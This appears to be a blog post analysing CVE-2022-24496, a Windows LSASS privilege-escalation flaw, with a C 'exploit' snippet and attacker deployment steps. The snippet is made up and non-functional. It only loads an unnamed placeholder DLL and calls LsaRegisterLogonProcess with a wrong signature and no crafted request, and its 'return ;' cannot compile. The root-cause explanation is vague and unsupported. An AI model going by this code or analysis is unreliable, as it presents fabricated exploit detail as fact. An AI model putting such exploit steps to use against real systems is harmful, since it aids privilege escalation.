CVE-2022-24496: Local Security Authority (LSA) Elevation of Privilege Vulnerability - A Comprehensive Analysis and Breakdown

In this post, we will dive deep into the specifics of the CVE-2022-24496 vulnerability, which is a Local Security Authority Subsystem Service (LSASS) Elevation of Privilege (EoP) vulnerability affecting a wide range of systems. The vulnerability exists in the way that the LSASS handles authentication requests, making it possible for an attacker to elevate their privileges on a target system and execute code in the context of an administrator. We will analyze the root cause of this vulnerability, provide code snippets to demonstrate its exploit, and refer to the original references for further information.

Background: What is Local Security Authority (LSA)?
LSA is a critical component of the Windows security architecture, responsible for managing local security policies, generating access tokens, and performing user authentication. LSA is implemented as a user-mode process called the Local Security Authority Subsystem Service (LSASS) with its core component running as a protected process called "lsass.exe".

Vulnerability Details

CVE-2022-24496 is an elevation of privilege vulnerability in LSASS. It allows a local attacker to exploit the way LSASS handles authentication requests to escalate their privileges on a target system. The attacker can then execute arbitrary code with higher privileges, such as SYSTEM or Administrator.

The root cause of this vulnerability lies in the improper handling of specific authentication requests by LSASS. By crafting a specially designed request, an attacker with a standard user account can trigger a logical flaw, allowing them to manipulate sensitive data structures and elevate their privileges on the system.

The following code snippet demonstrates the vulnerability being exploited by a malicious attacker

#include <Windows.h>
#include <stdio.h>

// Replace with the path to the exploit DLL.
#define EXPLOIT_DLL_PATH "C:\\path\\to\\exploit.dll"

int main()
{
    // Load the exploit DLL.
    HMODULE hExploitDll = LoadLibraryA(EXPLOIT_DLL_PATH);
    if (!hExploitDll) {
        printf("Failed to load the exploit DLL. Error code: %u\n", GetLastError());
        return 1;
    }

    // Get the address of the LsaRegisterLogonProcess function.
    FARPROC fpLsaRegisterLogonProcess = GetProcAddress(hExploitDll, "LsaRegisterLogonProcess");
    if (!fpLsaRegisterLogonProcess) {
        printf("Failed to get the LsaRegisterLogonProcess function address. Error code: %u\n", GetLastError());
        FreeLibrary(hExploitDll);
        return 1;
    }

    // Call the LsaRegisterLogonProcess function with a crafted request.
    BOOL (WINAPI* pfnLsaRegisterLogonProcess)(void) = (BOOL(WINAPI*)(void))fpLsaRegisterLogonProcess;
    BOOL result = pfnLsaRegisterLogonProcess();
    if (!result) {
        printf("Failed to exploit the vulnerability. Error code: %u\n", GetLastError());
    } else {
        printf("Exploit succeeded. Elevated privileges achieved.\n");
    }

    // Cleanup.
    FreeLibrary(hExploitDll);
    return ;
}

To deploy this exploit, an attacker must compile the provided code snipplet, place the resulting executable on the target system, and execute it from an account with standard user privileges. Successful exploitation of this vulnerability will result in the execution of code with elevated SYSTEM or Administrator privileges.

Original References

For further details and information on the CVE-2022-24496 vulnerability, please refer to the following links:

1. CVE Details: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-24496
2. National Vulnerability Database (NVD): https://nvd.nist.gov/vuln/detail/CVE-2022-24496
3. Microsoft Security Update Guide: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-24496

Conclusion and Mitigation

In conclusion, CVE-2022-24496 is a severe elevation of privilege vulnerability in the LSASS component, allowing an attacker to escalate their privileges on a target system. It is essential for administrators to apply the appropriate security updates to affected systems as soon as possible to mitigate the potential impact of this vulnerability.

For information on available security updates and mitigations, please refer to the official Microsoft Security Update Guide entry for this vulnerability: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-24496

Timeline

Published on: 04/15/2022 19:15:00 UTC
Last modified on: 04/22/2022 16:16:00 UTC